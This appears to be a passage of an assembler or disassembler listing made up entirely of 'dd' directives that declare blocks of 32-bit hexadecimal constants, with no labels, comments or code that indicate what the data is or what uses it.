		dd 7B0252DCh, 0C81A457h, 0BEDADCA4h, 2D58A5C0h,	105DA7C1h
		dd 7B4CA9Eh, 0D2803F80h, 0B044838Eh, 4C2B4BA1h,	9A5A0245h
		dd 3C81B3AFh, 7B78CCADh, 5B003DA8h, 0B2383F7Fh,	246499F2h
		dd 36AD8FF8h, 51186BDAh, 0B60F6FADh, 7E1EA6CBh,	7B31652Dh
		dd 0A024BA02h, 0E22DD97Ch, 703F3C02h, 0E04D4E16h, 203FAEBAh
		dd 4CE26115h, 2F64E4BBh, 0AC9E2CE9h, 0F7D4FDDDh, 48B7746Ah
		dd 0D0CA3EAh, 0B256A547h, 9A018669h, 0FF2E2B1Bh, 13E2B028h
		dd 27D8CB76h, 8B9073ACh, 0FF0CCE96h, 0E809E55Ch, 4B490F0Fh
		dd 31C04344h, 40523DA9h, 0BC3C4380h, 687F4CE7h,	36030537h
		dd 0F46E684Ch, 0F80989BBh, 37B66E39h, 0F20DAF97h, 0D3DC4ABAh
		dd 22B68270h, 512418EFh, 2F194319h, 14CFFC30h, 0B1DBD25Eh
		dd 0AAF729FAh, 70E8B2Eh, 0A3FB078h, 1721B3CAh, 42413108h
		dd 0FDFC1E66h, 0FA95C8B5h, 21A6FEC0h, 88B3210Fh, 80AA2EF4h
		dd 989E0213h, 57B48793h, 0CF481B04h, 57C899AEh,	0A97D43D4h
		dd 753180A8h, 8031DE68h, 9C3E7279h, 8E436476h, 32DA78EBh
		dd 2C68F4F8h, 6C066742h, 6F480ABDh, 76F11FCFh, 8AC44800h
		dd 41FB1D3Ah, 740D8036h, 8E305B9Ah, 36ED30CFh, 0E196BACDh
		dd 89FD627Ah, 4EBA6B9Ah, 7B9C3692h, 530AAF23h, 8ACC4680h
		dd 14E27855h, 7BFBCAB6h, 9F4A1E17h, 0A1A9BEC8h,	29476C68h
		dd 35AC3BF0h, 0D17D6D4Ch, 0FE8E03BBh, 0BA16D498h, 0D81CE6CFh
		dd 197D5D3Fh, 672EE1A0h, 878F6DA8h, 99C65B24h, 24004F1Ch
		dd 0A912828Bh, 11102CA7h, 97A63B22h, 3450C3CCh,	376CAFE7h
		dd 0DA6B1C23h, 45C2F20Eh, 5B12BF45h, 32EB160Fh,	2CEBCBA6h
		dd 63D05F20h, 0D1B17A87h, 787463FDh, 0BA7A8BB2h, 0FD23ECC2h
		dd 0FFD2E95Bh, 7983CA0Dh, 97963015h, 0FC89DEE3h, 829F23D5h
		dd 51193D36h, 0F357BD7Ch, 5228AC7Dh, 1F4C43EDh,	633B4065h
		dd 9352AAFh, 0DA031ADCh, 9ABF1399h, 0B3F05CDEh,	0E1648828h
		dd 8B5D7AD7h, 0EA480D65h
		dd 6F1F162Ah, 55182386h, 6475414Eh, 54D958F8h, 32C9A606h
		dd 423D894Bh, 822A245h,	6BF668C8h, 0C9B7C9A8h, 8032B8D4h
		dd 5E0850D3h, 44CB269Ah, 0DD7A2FDh, 1C5EFB2Ch, 0F75DC775h
		dd 47C8C305h, 31EB9B9Eh, 522F6946h, 0DD9EDA81h,	0CE70AEFBh
		dd 7F7EAE7Ah, 830AF154h, 0D42212ACh, 8DD2CC93h,	8D81F15Fh
		dd 7CE4B9D3h, 3E0D55E9h, 1A2D17C7h, 0E9D3892Ch,	0D11F9D94h
		dd 0DC36F29h, 0CECCBD6h, 13523E73h, 0B9BCC9E4h,	0D34D0A92h
		dd 27D33E12h, 71E4F63Dh, 59CC9011h, 50D89A59h, 0DC7496F7h
		dd 1174C473h, 4055B6E1h, 53C5CFD1h, 7211D0E6h, 81A5208Eh
		dd 44A1D7FBh, 59F7855Ch, 2DAF1893h, 14C28268h, 7CC7685h
		dd 0D9691E15h, 6CA8F77Ah, 8894B8EBh, 87070731h,	69B64311h
		dd 720489B6h, 206F58Bh,	0FC30C969h, 9268961Fh, 0FA6D61B2h
		dd 1E9A130Eh, 7F66C023h, 77EE43B6h, 355CD107h, 3BD6F08Ah
		dd 405CA0DEh, 0F982152Eh, 881F582Dh, 5650AC80h,	3860BF03h
		dd 20D0095Fh, 7121FFD3h, 4135E895h, 2CA6660Dh, 9ADB132Fh
		dd 134B5760h, 19DD19ACh, 8242B228h, 7EE6501Dh, 0E2DA44A8h
		dd 10EB3132h, 680DC7F4h, 58D966B7h, 51F9F3D7h, 40FD3D0Dh
		dd 82D0498Ch, 0F536240Ch, 0D773E0DFh, 0B1DEB485h, 0D40D0E08h
		dd 960FC2D0h, 0E7101315h, 0DD965FBDh, 0FADB7D3Eh, 960160D5h
		dd 0A306F68Fh, 0E6B81DC4h, 17023BC0h, 5C5A41D6h, 0D1E5CBCEh
		dd 0A8EA85Dh, 747A64DFh, 0E7BAFA11h, 0E3A7352Fh, 0D8F7294Eh
		dd 93F158Fh, 7897F2F8h,	0BD433753h, 0B55D7B49h,	0ADB3707Fh
		dd 33412C1Dh, 0EE588806h, 0C717F69h, 0B017D251h, 0A19FEBA3h
		dd 0B605842Ah, 4FA6D8C3h, 0B2A8ACEBh, 0CEFFB23Eh, 0A44C31EEh
		dd 460FEC15h, 8AC5F6CDh, 6FCB3A3Bh, 84346A8Ah, 0EFA8D76Fh
		dd 74C27ED9h, 3C45E1CAh, 87A15DD3h, 20478B41h, 0BC49C22h
		dd 0B9E03FB1h, 437C9638h, 86FBADF9h, 0CD4A8DCAh, 17D30BC4h
		dd 34BBF1EBh, 44F416ACh, 0F1FD3BE7h, 8DC0F320h,	0EE2318E5h
		dd 0B0CA1D0h, 52F0F3F9h, 430C9C80h, 2E1242C4h, 5853D00h
		dd 7349D96Eh, 2539469Bh, 5653BA59h, 2308487Bh, 9DA952D9h
		dd 0A9EC5FB4h, 0EE465D23h, 86F0F3FAh, 4F296223h, 6F78D959h
		dd 61C937CBh, 56817A8Bh, 0B6E56BD6h, 0BE75A747h, 1AE63278h
		dd 52D35678h, 0ADF9D79Fh, 37DA292Ah, 3F064DDCh,	150AABAAh
		dd 0F115621Eh, 274A8310h, 0BD5402E8h, 7BF6BA7Dh, 148F7CF2h
		dd 27CFEA92h, 50F71788h, 0EA55447Dh, 956FDE47h,	5EB6B303h
		dd 2B7E3449h, 3FECBD26h, 395C05ACh, 6A9B2469h, 18804CF5h
		dd 0C6AA39EDh, 0DFA92818h, 9531EBA7h, 806BFA36h, 0F3E666FCh
		dd 7E999A12h, 986306F1h, 455405D0h, 6A81F0C2h, 0A7A3D7D6h
		dd 0EC0DF4C7h, 0F83C4764h, 4C235B0Fh, 0EE1CE9D7h, 0FF7D0599h
		dd 40EC8139h, 0B1CA7FC9h, 7F6BF78Bh, 797F64F3h,	0FEEBA49Eh
		dd 0E1266830h, 49F7BAA2h, 0C25BAC76h, 0FD5BF1A5h, 4BFE83C3h
		dd 8403A532h, 0CA80BE66h, 46858248h, 32C29184h,	18E06D0Bh
		dd 0B40A5B1Eh, 0B0FE494Eh, 0E83B19CDh, 0F5B54764h, 5B525574h
		dd 5B84443Dh, 5E9FBAF0h, 0C26DD1D3h, 75FBE97h, 877CBFFCh
		dd 7EE2FAh, 133148F5h, 0A9034085h, 2A4D89E3h, 0F754CF9Eh
		dd 7E5F926Ch, 0C00EACCBh, 194013DEh, 0D9D20EEh,	5F422243h
		dd 0D625F409h, 0B7BF7EC6h, 9525A911h, 8DC6EFFh,	8F1122FCh
		dd 80ED525Bh, 62B91672h, 0B3E05939h, 1270ACE8h,	271DC93Ch
		dd 0DE74B01h, 869AB758h, 7EAD5DA3h, 1D2C44E8h, 0E59EFCD0h
		dd 1A887CCCh, 0F59ADDA0h, 904C3BDBh, 2176DD08h,	0AA1350BFh
		dd 903773EFh, 5DD19ADFh, 0A25DD807h, 0BEC575E1h, 612B41AAh
		dd 0F4ABA85Ch, 50A4952Dh, 0B9CD61Bh, 6D9CC0D3h,	11367718h
		dd 0B3AF2D68h, 0FEF9422Fh, 0D41CC1A5h, 2D65C999h, 4ABF4904h
		dd 610B5442h, 0AA7190D0h, 6C68E473h, 0BBE14E64h, 3F9ABDA8h
		dd 64158BA9h, 8C939DC5h, 587E04Ch, 1118EAB0h, 0A89A00A1h
		dd 9CBEFA2Bh, 9628D60Ch, 8CE7F623h, 4B206705h, 23B42953h
		dd 0AA891C85h, 319A9BDEh, 0DA6184CAh, 0B2C70141h, 904012E2h
		dd 2F6B25FBh, 820F2205h, 27B47DBEh, 0E0285555h,	36E93E4Fh
		dd 1E997727h, 84714A98h, 9C98216Dh, 3FB754D0h, 0F0300C6Bh
		dd 0A919E3ECh, 0C855CC96h, 8A9F1D09h, 6D6F0979h, 7645EB04h
		dd 8DB2A693h, 3E53F86Dh, 599AC34Fh, 795EE505h, 6B85E6D5h
		dd 81DC7DE0h, 3DD6999Fh, 4C6B7B48h, 1F69B581h, 6DD33915h
		dd 4C96311Ch, 534C90A1h, 63B741E1h, 0D11121D9h,	1C13DAFh
		dd 2F0C3FC4h, 9C9A9827h, 9E98D563h, 67B4EABBh, 144CA301h
		dd 0D0D43C37h, 93062CAEh, 236AEEA0h, 88A0909Dh,	0DB38EE6h
		dd 5CEB7F0Bh, 0F86E98CEh, 46D63D62h, 9AB3CD7Bh,	150A344Dh
		dd 2AD1C903h, 1C07F2D3h, 45E5D0E7h, 0A4D1B8C2h,	484BE50Fh
		dd 2B702356h, 0DEC0D338h, 5C798430h, 0B293C628h, 0ADF64469h
		dd 288E656Dh, 0C6F7E60Bh, 2461A4CBh, 7F3A8EC4h,	80E83C97h
		dd 0D79BAD3Ah, 18D6D138h, 5A621FFDh, 0E59B17ACh, 6CE52CD8h
		dd 3CEC5431h, 8014EFCEh, 9C5A47BFh, 0BD56B64Eh,	4208B12Bh
		dd 9A50C136h, 0D9B34632h, 5DB07EE5h, 0A2B42C50h, 9C986DE1h
		dd 0F3F18B8h, 0B604B47Bh, 0D36C17F3h, 0D4868675h, 7791141Dh
		dd 12528F02h, 271891AEh, 34FC8C3Ch, 6C447363h, 44BF3744h
		dd 0FADF34Bh, 653E3990h, 1CC68043h, 96FACA12h, 9DF0682Dh
		dd 49DC7ADEh, 83097286h, 9752879Bh, 0A04FC20Bh,	593B8463h
		dd 3C1F89CFh, 0B95587BAh, 94AB24C9h, 0DA64D412h, 0EF056584h
		dd 0CC8B6676h, 73DCA6E0h, 0F26E90F8h, 0E8C14713h, 91C61792h
		dd 0E1683F71h, 7E1CEADFh, 270FA91Ah, 2F7B0F45h,	48219EC2h
		dd 0C235DC8Bh, 0B5D1E463h, 4024A0A5h, 7E717918h, 0FFE1C329h
		dd 0A8A1FFE5h, 0BB565B6Ch, 5643A369h, 7FD85012h, 8047415h
		dd 67255F5h, 200B75ABh,	7CEFCCFDh, 4CC8AF4Dh, 957FFA41h
		dd 6889BF78h, 0D5F7CCEBh, 512CAC79h, 99E50567h,	4B5B5F36h
		dd 0C3A1550Ch, 0E5EC3B2Dh, 49E78FB4h, 0ED3CE794h, 25B0C67Ah
		dd 9F6DC947h, 997694DBh, 1B82444Fh, 90861E15h, 3613356Bh
		dd 4284C54Ah, 5D99FE5h,	3BBF1217h, 6AFCA033h, 0AA8D4540h
		dd 0FC772468h, 18F6F981h, 13FEBDBCh, 0CE6950C0h, 97B2C7ADh
		dd 2CFB26ACh, 6D04EABAh, 8A22A951h, 7FB20EA1h, 8C05013Ch
		dd 7F711E4h, 0C56D44FBh, 58FA3325h, 4FD41D5Ah, 8D5504E1h
		dd 0BBEE86Eh, 653F88D8h, 3DB8BE34h, 0AF3CA2ABh,	0E4DD1A28h
		dd 0ACD4971Bh, 0A5438EB4h, 0F58E25C4h, 42327646h, 5CD93E7h
		dd 0B14FEF08h, 0F2C28B70h, 0B36A0764h, 0DFD8F101h, 78A2F3EAh
		dd 0D0BDD57Ch, 24C01BCDh, 2220EAD3h, 85195801h,	716B49E0h
		dd 0F477A4Eh, 95B27EA7h, 6A09D6E1h, 0FDA61176h,	0DF926549h
		dd 62677492h, 54C2089Ah, 0F00EB6BCh, 4FF7FF8Dh,	0C96B6223h
		dd 0CA5409B9h, 741EC05Ch, 2E2C7403h, 0BA891C79h, 8A7134E8h
		dd 30F25414h, 0F7B898B4h, 0D9F482C8h, 4F870463h, 9667CD7Eh
		dd 944A6F54h, 594AA26Dh, 0A1F612D6h, 0E8068555h, 6281E24Eh
		dd 730E53EBh, 0ACC2AE6Ah, 51450096h, 0CF7EF45Dh, 1A2054A7h
		dd 0E575AAE7h, 0D0755925h, 986467C6h, 0E54BBAEDh, 434B3CDDh
		dd 5A6D7FA9h, 0A06DD625h, 0A85BE8BDh, 2F1BFE5Bh, 0F4228E60h
		dd 9E8A778Fh, 0A0BD2D7Fh, 92980B51h, 91B420D0h,	33F7133Ah
		dd 6CF9281Dh, 451B3618h
		dd 0ACC3E543h, 0EFFEAEE3h, 38F21EE9h, 1286EEABh, 71E995CEh
		dd 96B12CD9h, 222F0D35h, 7B779ED4h, 38E55B4h, 0A2DD75BAh
		dd 0BB5D5B43h, 0B07CDC4Bh, 5EF79541h, 203F047Ah, 3B098BE8h
		dd 0C4EB7E78h, 33944374h, 25015FD0h, 4F5FDDF1h,	0E2E793BBh
		dd 0C7149924h, 3B23BE6Eh, 4FCAAC4Bh, 69BD8D66h,	0E07729A5h
		dd 3F169CF0h, 367C3F22h, 0C8837AEEh, 0B8AB0F7Fh, 8B74520Bh
		dd 0E745AFC6h, 7947F584h, 2519AFF4h, 94A8A7CEh,	75462F87h
		dd 0FC5EAE9Eh, 1D01DE0Fh, 947E65E8h, 8172F34Bh,	745E003Bh
		dd 2030E0F8h, 548C083Ah, 61F0E2F7h, 8D88A195h, 3165DD61h
		dd 0A363C3C2h, 0EC0FD427h, 0FB50D8EDh, 0C476754Bh, 0EB4FA29h
		dd 959FFCB7h, 92550DB6h, 7F261397h, 0D57DC590h,	39D09DD2h
		dd 58DF73Eh, 562784DEh,	0C355898Bh, 0C772E052h,	8AE10D06h
		dd 7B3B3047h, 0E8427A29h, 0D205CA7Ch, 994306F7h, 910A6C9Ah
		dd 0AC7A21AEh, 20DE40F3h, 8A2E0824h, 179C42E8h,	0FEA59DEEh
		dd 4A34B417h, 0C2665558h, 64811BECh, 727D6CAAh,	0D335B85Ah
		dd 0BB0F16CFh, 17722ABEh, 0BCE15016h, 1BF9D1B1h, 654CBB89h
		dd 2F5CC51h, 0B0DB83D1h, 0B0409ACh, 12677F09h, 0EC4B56BDh
		dd 146F8527h, 0F4F61CD7h, 0F14DD227h, 95A9932h,	19684E04h
		dd 66B1FD00h, 0C5E27551h, 95C6D0F8h, 8C4CE158h,	9ACAF4E4h
		dd 60502D6Ah, 4D095584h, 122D13E4h, 61B8D5A4h, 0F0DF3AE9h
		dd 4C80F444h, 0D967E040h, 462BF931h, 582A94B8h,	0D10043CEh
		dd 1D8CB85Ch, 490ADB32h, 96489E88h, 0E745999Bh,	3B3F586Ch
		dd 0E8213146h, 0B366E9BFh, 429D46E5h, 0F9F53C48h, 4CC037D6h
		dd 0BC82E592h, 38853413h, 0B7338B33h, 1D0058FAh, 359CD41Fh
		dd 3AB25D5Bh, 5305A833h, 9374DEB1h, 165E7360h, 6050FFCCh
		dd 81FFC97Ch, 0EB8A2356h, 0AE735225h, 46E858C1h, 93FB7CD0h
		dd 0C5F198B1h, 9C02D268h, 10452438h, 0BF958277h, 9DC409D4h
		dd 610127F5h, 3AF5993Fh, 0EE46A684h, 4395EA59h,	0D890F3DCh
		dd 4CA1D9EDh, 851FCA50h, 79F291E5h, 6C011CE3h, 9A8D4C69h
		dd 2FC67917h, 62DA6D1Eh, 0BE464067h, 0F72F8554h, 0DC977907h
		dd 4FD7BE4Bh, 403DDC3Fh, 6024CFBCh, 0E8D777BBh,	6AEE6690h
		dd 0C7C6A87Fh, 8F1AC232h, 0E36025DEh, 7D3CDE4Dh, 342EE90Fh
		dd 0D9BD62D1h, 2B80F0Fh, 26491195h, 0FBB3DC8h, 9031F267h
		dd 771B2210h, 0B96CEFA9h, 96F5D099h, 0AFDE5840h, 0A8D81F48h
		dd 3838A72Ch, 0BE96DCFEh, 0F39D3A3Eh, 0CBDDD6AFh, 3DEED3BEh
		dd 8F749C3Eh, 18025B20h, 0AF0B2D2Ch, 4CE2140Ch,	9209928Eh
		dd 0CBB39041h, 0F4264B9Ch, 192068C1h, 998273BEh, 5C9496F9h
		dd 522A4A56h, 0A4365C14h, 0B9A71CD2h, 3D532034h, 2EB6FD02h
		dd 0FAC2F093h, 69DEBB90h, 0B490776Dh, 7C0F8AE0h, 29D2519Dh
		dd 0FE53D9EBh, 0A5003A01h, 5E73687h, 0D5B89FC9h, 0D7EAA138h
		dd 0D103B132h, 818B383Ch, 0D40CA164h, 2CF3CD5Ah, 31E8EFB1h
		dd 5C73363Ah, 0E8BAF7C1h, 8726DA78h, 4E851A32h,	7CC2C126h
		dd 3ECBBC81h, 77D937D5h, 52FFA707h, 0B26FE6Bh, 0F7C36E26h
		dd 834005E3h, 2F032C76h, 1C1D5CBCh, 0D9B5EEF7h,	42EDF64Bh
		dd 0B5D225F8h, 87A13F05h, 0DF49A991h, 72482D6Ah, 690C8BC3h
		dd 2AB9F37Fh, 0A9421416h, 0E0AB2EE1h, 0F5106EB6h, 0B98BFADAh
		dd 24CF9653h, 809949A9h, 0FAB581F0h, 0D75B6432h, 72B6762Fh
		dd 2B096969h, 77E73DA5h, 5D45F262h, 0BCEB526Bh,	0D6C2E8CEh
		dd 0E5C5DC5Ah, 81354C0Ch, 9DA76005h, 0E2865A6Bh, 8CF72740h
		dd 0C72DC35Dh, 0E92F0FE2h, 8F351FC0h, 8C0A0728h, 801BA528h
		dd 58B7095Fh, 1AABDF40h, 38102B91h, 0B5D9FDDBh,	0AABD31F7h
		dd 0A6A79112h, 740271F3h, 0D2E0010Bh, 5D3CBD84h, 9FBCE80Ch
		dd 7C708AA7h, 69CFF9F4h, 14AA4CB4h, 0C6F2A772h,	0DDEBF463h
		dd 0C960DD28h, 86F73A7Eh, 0B33C468Eh, 0A6EBEEABh, 7D0C116h
		dd 0B93605AFh, 0B9592014h, 0ABD1AA51h, 473F132Ch, 93FEB4Fh
		dd 0FFCEE910h, 0D79F8201h, 0DBC094DDh, 262092ACh, 0ED9D9C5Dh
		dd 859A6769h, 0BD5280A5h, 2A9D9748h, 25830FF2h,	33368EB9h
		dd 0D65AE277h, 9D9DCD86h, 0A80C3E07h, 0FB8F90EDh, 0D7FCD5B5h
		dd 42842104h, 0CB84B464h, 94C224C6h, 85BA787Bh,	5EC98C4h
		dd 0CE2141F8h, 84AFA39Ch, 0E4245E65h, 25F8A0B5h, 0FCB3F805h
		dd 0DFB88BEFh, 743C0DBEh, 0DC01852h, 980A9A04h,	1A3D107Fh
		dd 0D6D5609Ch, 0D5850999h, 0A7B72030h, 7640B59Eh, 0E801F0F0h
		dd 0A87DB88Eh, 238799E2h, 80E66CE0h, 8BA0B571h,	0F4DCADAAh
		dd 205E5F01h, 0F5AB58D1h, 8108E7E0h, 0A15AE8A3h, 964CD48Ah
		dd 83F0470Ah, 672CB268h, 7CD1C71Ah, 25360F0Bh, 0F3E0B48Bh
		dd 5B56E369h, 0D58BAF9h, 38C40CEEh, 0D2904143h,	82E20288h
		dd 2F10649Dh, 0CD76C948h, 65232208h, 85A2EC55h,	16FBC7A1h
		dd 0A92202F8h, 0AF4D1228h, 0F645A047h, 64BE1768h, 0F8862ADDh
		dd 0C5B6A790h, 1FC21224h, 4A69F554h, 4BF613A1h,	2E53B6CAh
		dd 883608Ch, 77091F46h,	1BBC58A6h, 0F7F1A428h, 0C6913E4Ah
		dd 89830CFh, 95FFFBD6h,	0E9715A4h, 38DF21E2h, 97487FEEh
		dd 8897B853h, 26BB68C3h, 17DEDA10h, 6AB94A16h, 0F2BF451Dh
		dd 4F8046F9h, 43F09458h, 0FAEB1C1Eh, 0F1F7ED2Eh, 0C6B42C8h
		dd 219AE8E9h, 7FF36E52h, 0E8DCB40Bh, 0DD41F4Ah,	250B4714h
		dd 0D263A919h, 231DB8A9h, 0F2A379Bh, 6A8A0DADh,	9E265F07h
		dd 12DAF5C5h, 0AB19C57Dh, 0D10FB6E6h, 0F4C85A7h, 0D86E0B80h
		dd 4F459E0h, 0F37819EAh, 0A9DC824Ah, 396A8879h,	3C1B6E06h
		dd 7200467Fh, 0D686E0C1h, 895F35FCh, 24E45CC7h,	0A4277427h
		dd 80EFCC38h, 0D084F965h, 0FCF00F42h, 0D7576A77h, 3B9F154Bh
		dd 573BEE6Dh, 0CA09FEA2h, 37117B8h, 53A16ABh, 0E74FC60Dh
		dd 15E7A5ADh, 84C2997Ah, 3235BE7Eh, 0AC71DA68h,	37CE4FB5h
		dd 7F428009h, 14A35E94h, 6B7B2FD3h, 791A3BF3h, 0C7A97AC3h
		dd 6267C9CBh, 0B68D09A3h, 15D57996h, 23161BD2h,	1C28EC2Ch
		dd 4454AB77h, 0EDB5B600h, 0B3F6D077h, 0BA8C8C35h, 3D53B775h
		dd 0E232E2E7h, 1A7DEB51h, 740A6014h, 0F19972C4h, 73F8557h
		dd 0E440E9FCh, 5FB7CE19h, 97AE25A1h, 3DBDDE44h,	0EA7090E4h
		dd 383F4DF3h, 0D085A746h, 8CCEBE0Fh, 588B3FA9h,	0F063EEE9h
		dd 6924FF7Fh, 33403D07h, 0CCD52B2Bh, 0FF3776C1h, 0C4750F8Ah
		dd 11232EAh, 40A377DDh,	1D01D5D5h, 0D03592C6h, 0D4BA66CCh
		dd 0B345907Bh, 0ABBD05B9h, 9AC1F926h, 0B70D7C2Bh, 0DB3CF2ACh
		dd 1E2C8379h, 726DD1F7h, 0F0F4C1E2h, 9FD96339h,	94486AFBh
		dd 50372CBh, 22A271EDh,	0D0032D24h, 7203202Dh, 4D458851h
		dd 0B63CC131h, 4368B859h, 0E17D07DBh, 842BE1FDh, 7A94E354h
		dd 67DF87EEh, 9BD1A3AFh, 4EEADF64h, 0B1866CF7h,	956E091Dh
		dd 74516190h, 6B92A337h, 31CFEB76h, 84763C04h, 4871795Fh
		dd 4706C35h, 0D146419Fh, 8E3A5359h, 86A7B809h, 6C98A873h
		dd 8B6D0A3Ch, 0EF803B96h, 492577Bh, 25491A8Fh, 499149E6h
		dd 99630836h, 0B5368AE3h, 0E6DF6567h, 8DBCC84Eh, 0BE1E7896h
		dd 0D561356Dh, 40017A95h, 0E5C34CC6h, 0D7BC4E67h, 7C71E15Ch
		dd 7D3912A5h, 0FBF59710h, 0D6BF4273h, 7A854A86h, 880D84E5h
		dd 0C51603CAh, 7550BC88h, 0EA7FE7AAh, 0EF2005A9h, 14BF0FEAh
		dd 0A625BBC0h, 0BA4AD5A4h, 0CDA35281h, 37557BEh, 877873E7h
		dd 0C0CAE619h, 25FCAB77h
		dd 8F4B5FCh, 0B0414092h, 10B2AC1Fh, 1B5D4C52h, 177A692Eh
		dd 0E1C5862Eh, 0D490D2FCh, 0C9A67CDDh, 0A14CACC8h, 68D71FA9h
		dd 990823E5h, 0D887CC3Bh, 7A39EE2Fh, 330C21FDh,	9C1FAC56h
		dd 946ECA0Bh, 0DC2AA6D3h, 0DC3593Dh, 0B4EDBDC6h, 0B9E1588Ah
		dd 7B8AD9C8h, 0ECB5FF45h, 528B271Ch, 95B84529h,	9CC58A9Eh
		dd 0F2FB3C09h, 678043A1h, 6ED1CC60h, 243AAB5h, 0DE65F6F4h
		dd 33F212E6h, 0BDE5B3BCh, 94F083Bh, 0F0013C1Dh,	0FEBC9DD3h
		dd 29D21359h, 0DF6EE553h, 0C9F8FA86h, 0C263067Ch, 9C9AE8DFh
		dd 0AF791A9Fh, 8CF6BA58h, 7AB9E990h, 70E03BB0h,	6B16005Dh
		dd 7503C956h, 0E976C7CDh, 5539DE39h, 86AEAC14h,	0A2FC6D71h
		dd 719F1455h, 0C29D040Ah, 11AB2640h, 0C9B7CE60h, 48626A87h
		dd 9E79FDEBh, 922C2B2Dh, 0FC3D64E2h, 55916257h,	79315908h
		dd 422A34F5h, 0E6BB0218h, 0F8BBED00h, 0A04869F2h, 0B567C9F0h
		dd 0C942B001h, 0C43BCCA4h, 0EF21DCD7h, 4EF10994h, 90200E15h
		dd 24836879h, 2C33ED3Ah, 86E29FBFh, 7F409DBDh, 0F95F77A3h
		dd 0B5EF815Ah, 6B88A92Eh, 0AA30A85h, 0A2A217B8h, 156AAC01h
		dd 0D10825C5h, 0B60A8955h, 3C3AF34Ah, 0A28A6D7Dh, 0A96D412Bh
		dd 0AE3E66A3h, 7C13AA8Dh, 7D42F9D9h, 0F46D7A98h, 72F6E505h
		dd 0AC073E2Fh, 78377480h, 0E8652A9Dh, 0A5DF838Bh, 5E1C66CCh
		dd 0CBD05044h, 8EB4C2F0h, 309461DCh, 6F5DB66h, 6B69F17Ah
		dd 0D36A2E98h, 596EEBB9h, 2A827229h, 1C07F374h,	0BA1EDA82h
		dd 28BF8563h, 897DCCF0h, 492722Bh, 0E12FCA53h, 813C5390h
		dd 30D774D5h, 0F71D7836h, 98D3DBBh, 98D0A8A2h, 0AFF80188h
		dd 0E2C9572Dh, 67CDD66Ch, 51631E45h, 8E6A6C15h,	956B47EFh
		dd 8912B470h, 7F951CF7h, 0B6E98F0Eh, 7F5498D1h,	4ACDF4B5h
		dd 0A7DBE101h, 726BBD41h, 0B170E5B1h, 5438B5DCh, 0BEEEADDFh
		dd 0BA1BF6B9h, 0DC6B1B91h, 0EC407B32h, 0D5984AD2h, 9CF8804Ch
		dd 21BD835Bh, 594A9AC6h, 6D2EFDC2h, 0B3A32ACFh,	400B73B6h
		dd 1B6AB098h, 8951F2BFh, 0F99E066h, 392C6A03h, 3BD0FA3h
		dd 8355A22Dh, 0CED5159Ah, 0A99012C3h, 0FAE1C7DFh, 36A95028h
		dd 0FB0CAB44h, 1E128F8Ah, 3A158654h, 44A876DEh,	0EEC048BAh
		dd 158CF0E2h, 345991E4h, 85EEAB56h, 9B6CBF25h, 12489930h
		dd 45C4AB35h, 203509D9h, 5A37DD03h, 50597E88h, 8E4002F2h
		dd 20289BF5h, 0FB0AB967h, 45C53DA5h, 2C256B70h,	0D284229Fh
		dd 0CBB545CDh, 0B63B552h, 27D45530h, 74F8D3DAh,	0F5CF66C8h
		dd 0FE4BDC85h, 0B23DD732h, 383261D9h, 0DD4AE23Eh, 0A913A2Ah
		dd 0E494BB2Bh, 7F9E3F13h, 0F2892FDCh, 2CE02AA7h, 0BD4D2FE5h
		dd 2AF25FE0h, 0C4E6B066h, 0B9C97B24h, 82114B81h, 32C0C4D1h
		dd 0E73A71F9h, 5A053608h, 0CBD08D68h, 0F795D485h, 0F558877Ah
		dd 890D2C03h, 4690E71Dh, 2DFEC0B1h, 0C9D7DFCFh,	0F66D1250h
		dd 0AC2A410Bh, 91BEDFE0h, 0CDF56903h, 92965976h, 0D262E7D6h
		dd 77981F4Fh, 5229CE42h, 0BD80AE3Eh, 0EC26DD38h, 50567807h
		dd 3A02478Ch, 718F976Bh, 82D076F4h, 7A7E60DBh, 74F90EF1h
		dd 93E9F6CBh, 0AB3BDF43h, 788AD754h, 0AF1CB8E4h, 7B7C617Ah
		dd 0DF268AB9h, 39E8AF50h, 0AA00F21Eh, 63668617h, 0A401A931h
		dd 79A3EA7Eh, 0EE0D68F5h, 19375F7Ch, 4D7F2747h,	45F5CADBh
		dd 0B6C42064h, 618EB8BCh, 8517AB14h, 1CF4E501h,	1475A5FBh
		dd 0CEAEE584h, 0A4368763h, 4C182BD8h, 1F467A16h, 0B444447Bh
		dd 2E016876h, 0FDE30DBDh, 2CE17D24h, 7A5D79B9h,	0B7AFDF43h
		dd 4BE08542h, 52349241h, 6D2D33FAh, 0E503E113h,	8B4BEE4Dh
		dd 0E3AD4229h, 0E6A26B69h, 7C273D4Dh, 61E4CF55h, 0B94FAE2Bh
		dd 0BA55B4C3h, 0DB12460Bh, 360191ECh, 0B9983204h, 0B83A78B9h
		dd 0E7C387F0h, 2ADE3556h, 6896E8Bh, 5B746DF6h, 3C50E3F2h
		dd 4B1BFE3Bh, 6542FD79h, 491B8296h, 453D25B6h, 0FB18E92h
		dd 32CCF26Dh, 425799AFh, 3F4832E0h, 0EAED15F6h,	0B0E9D5Fh
		dd 96A5CE40h, 0FCDCE6DDh, 9DC08872h, 34975FCBh,	60CCF8A9h
		dd 3AE2210Ch, 0FC54CBFFh, 9E31159h, 1C5FF364h, 0B283007Dh
		dd 0D8EC87E0h, 21ED975Bh, 0FCC740C8h, 205DE0CBh, 0ABF3A501h
		dd 1E31B2AAh, 0B797121Dh, 0C3AE783Ch, 1E5EC947h, 1F8735FBh
		dd 6509C84Eh, 0F36B15E5h, 9BF41373h, 7C5DB3E9h,	2C1061DEh
		dd 53394D03h, 9BD34EA9h, 465F4EC7h, 39D24759h, 2EEA4646h
		dd 0A97EBDDEh, 78340FCCh, 80F921F0h, 0D701CCBEh, 0B48F3DF8h
		dd 1E3CBCF4h, 0BAE531A5h, 0FCB773ACh, 8AB370Ah,	0AF2C187Eh
		dd 0FD44982Ch, 18DCF9CBh, 3B253528h, 0CAA7E175h, 72795BA9h
		dd 1D3E7135h, 0C7BFDF84h, 0E45FF95Dh, 1C5797Dh,	4C25270Bh
		dd 411CD837h, 3AD45305h, 88873727h, 0FE8E232Ch,	49263B71h
		dd 74374407h, 0ED629779h, 2B32FE4Bh, 3C640DDAh,	2129C739h
		dd 5D9C0B85h, 8BCE518Fh, 6FCE62B1h, 1677B0ABh, 9475AB9Ch
		dd 0F04E147Fh, 6B5C9FF4h, 864F43F1h, 2DEC52C0h,	520D01DEh
		dd 65296E56h, 0E9D87105h, 738A0FB1h, 62FBD2E6h,	0D08B55F7h
		dd 0E9FBBCD2h, 0DD469068h, 9889195Eh, 0FD62AACBh, 265EF377h
		dd 18B9F027h, 738B8C9Bh, 3DB50677h, 0B34FD3C9h,	0F2573601h
